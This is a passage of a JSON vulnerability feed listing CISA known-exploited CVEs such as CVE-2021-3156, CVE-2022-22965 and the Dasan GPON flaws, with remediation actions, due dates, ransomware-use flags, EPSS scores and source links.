exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-42287","cveId":"CVE-2021-42287","aliases":[],"kind":"vulnerability","title":"Microsoft Active Directory Domain Services Privilege Escalation Vulnerability","summary":"Microsoft Active Directory Domain Services contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Active Directory","stacks":["Microsoft","Active Directory"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-11","dueAt":"2022-05-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7717,"percentile":0.99549,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-42287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-42287","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-42287 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-42287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-42287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-23176","cveId":"CVE-2022-23176","aliases":[],"kind":"vulnerability","title":"WatchGuard Firebox and XTM Privilege Escalation Vulnerability","summary":"WatchGuard Firebox and XTM appliances allow a remote attacker with unprivileged credentials to access the system with a privileged management session via exposed management access.","detail":"CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-11","updatedAt":null,"regions":["Global"],"vendor":"WatchGuard","product":"Firebox and XTM","stacks":["WatchGuard","Firebox and XTM"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-11","dueAt":"2022-05-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10805,"percentile":0.95812,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-23176&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-23176","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-23176 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-23176&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-23176, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0148","cveId":"CVE-2017-0148","aliases":[],"kind":"vulnerability","title":"Microsoft SMBv1 Server Remote Code Execution Vulnerability","summary":"The SMBv1 server in Microsoft allows remote attackers to execute arbitrary code via crafted packets.","detail":"CISA added this entry on 2022-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-06","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SMBv1 server","stacks":["Microsoft","SMBv1 server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-06","dueAt":"2022-04-27","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99356,"percentile":0.99939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0148&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0148","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0148 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0148&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0148, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31166","cveId":"CVE-2021-31166","aliases":[],"kind":"vulnerability","title":"Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability","summary":"Microsoft HTTP Protocol Stack contains a vulnerability in http.sys that allows for remote code execution.","detail":"CISA added this entry on 2022-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-06","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"HTTP Protocol Stack","stacks":["Microsoft","HTTP Protocol Stack"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-06","dueAt":"2022-04-27","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99867,"percentile":0.99962,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31166&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31166","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31166 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31166&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31166, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-3156","cveId":"CVE-2021-3156","aliases":[],"kind":"vulnerability","title":"Sudo Heap-Based Buffer Overflow Vulnerability","summary":"Sudo contains an off-by-one error that can result in a heap-based buffer overflow, which allows for privilege escalation.","detail":"CISA added this entry on 2022-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-06","updatedAt":null,"regions":["Global"],"vendor":"Sudo","product":"Sudo","stacks":["Sudo"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-06","dueAt":"2022-04-27","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99962,"percentile":0.99976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-3156&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-3156","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-3156 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-3156&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-3156, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-45382","cveId":"CVE-2021-45382","aliases":[],"kind":"vulnerability","title":"D-Link Multiple Routers Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in all series H/W revisions routers via the DDNS function in ncc2 binary file.","detail":"CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-04-04","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"Multiple Routers","stacks":["D-Link","Multiple Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-04","dueAt":"2022-04-25","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97836,"percentile":0.99906,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-45382&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-45382","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-45382 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-45382&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-45382, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22674","cveId":"CVE-2022-22674","aliases":[],"kind":"vulnerability","title":"Apple macOS Out-of-Bounds Read Vulnerability","summary":"macOS Monterey contains an out-of-bounds read vulnerability that could allow an application to read kernel memory.","detail":"CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-04","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"macOS","stacks":["Apple macOS","Apple","macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-04","dueAt":"2022-04-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01086,"percentile":0.65049,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22674&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22674","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22674 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22674&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22674, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22675","cveId":"CVE-2022-22675","aliases":[],"kind":"vulnerability","title":"Apple macOS Out-of-Bounds Write Vulnerability","summary":"macOS Monterey contains an out-of-bounds write vulnerability that could allow an application to execute arbitrary code with kernel privileges.","detail":"CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-04","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"macOS","stacks":["Apple macOS","Apple","macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-04","dueAt":"2022-04-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.12492,"percentile":0.96192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22675&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22675","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22675 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22675&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22675, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22965","cveId":"CVE-2022-22965","aliases":[],"kind":"vulnerability","title":"Spring Framework JDK 9+ Remote Code Execution Vulnerability","summary":"Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding.","detail":"CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-04","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"Spring Framework","stacks":["VMware","Java","Spring Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-04","dueAt":"2022-04-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99638,"percentile":0.99949,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22965&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22965","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22965 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22965&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22965, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-10561","cveId":"CVE-2018-10561","aliases":[],"kind":"vulnerability","title":"Dasan GPON Routers Authentication Bypass Vulnerability","summary":"Dasan GPON Routers contain an authentication bypass vulnerability. When combined with CVE-2018-10562, exploitation can allow an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-31","updatedAt":null,"regions":["Global"],"vendor":"Dasan","product":"Gigabit Passive Optical Network (GPON) Routers","stacks":["Dasan","Gigabit Passive Optical Network (GPON) Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-31","dueAt":"2022-04-21","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92818,"percentile":0.99828,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-10561&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-10561","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-10561 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-10561&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-10561, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-10562","cveId":"CVE-2018-10562","aliases":[],"kind":"vulnerability","title":"Dasan GPON Routers Command Injection Vulnerability","summary":"Dasan GPON Routers contain an authentication bypass vulnerability. When combined with CVE-2018-10561, exploitation can allow an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-31","updatedAt":null,"regions":["Global"],"vendor":"Dasan","product":"Gigabit Passive Optical Network (GPON) Routers","stacks":["Dasan","Gigabit Passive Optical Network (GPON) Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-31","dueAt":"2022-04-21","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99949,"percentile":0.99973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-10562&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-10562","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-10562 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-10562&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-10562, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21551","cveId":"CVE-2021-21551","aliases":[],"kind":"vulnerability","title":"Dell dbutil Driver Insufficient Access Control Vulnerability","summary":"Dell dbutil driver contains an insufficient access control vulnerability which may lead to escalation of privileges, denial-of-service (DoS), or information disclosure.","detail":"CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-31","updatedAt":null,"regions":["Global"],"vendor":"Dell","product":"dbutil Driver","stacks":["Dell","dbutil Driver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-31","dueAt":"2022-04-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.79628,"percentile":0.99603,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21551&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21551","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21551 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21551&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21551, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-28799","cveId":"CVE-2021-28799","aliases":[],"kind":"vulnerability","title":"QNAP NAS Improper Authorization Vulnerability","summary":"QNAP NAS running HBS 3 contains an improper authorization vulnerability which can allow remote attackers to log in to a device.","detail":"CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-31","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"Network Attached Storage (NAS)","stacks":["QNAP","Network Attached Storage (NAS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-31","dueAt":"2022-04-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7825,"percentile":0.99575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-28799&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-28799","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-28799 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-28799&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-28799, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-34484","cveId":"CVE-2021-34484","aliases":[],"kind":"vulnerability","title":"Microsoft Windows User Profile Service Privilege Escalation Vulnerability","summary":"Microsoft Windows User Profile Service contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-31","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-31","dueAt":"2022-04-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21827,"percentile":0.97624,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-34484&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-34484","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-34484 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-34484&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-34484, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-1040","cveId":"CVE-2022-1040","aliases":[],"kind":"vulnerability","title":"Sophos Firewall Authentication Bypass Vulnerability","summary":"An authentication bypass vulnerability in User Portal and Webadmin of Sophos Firewall allows for remote code execution.","detail":"CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-31","updatedAt":null,"regions":["Global"],"vendor":"Sophos","product":"Firewall","stacks":["Sophos","Firewall"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-31","dueAt":"2022-04-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99796,"percentile":0.99957,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-1040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-1040","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-1040 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-1040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-1040, 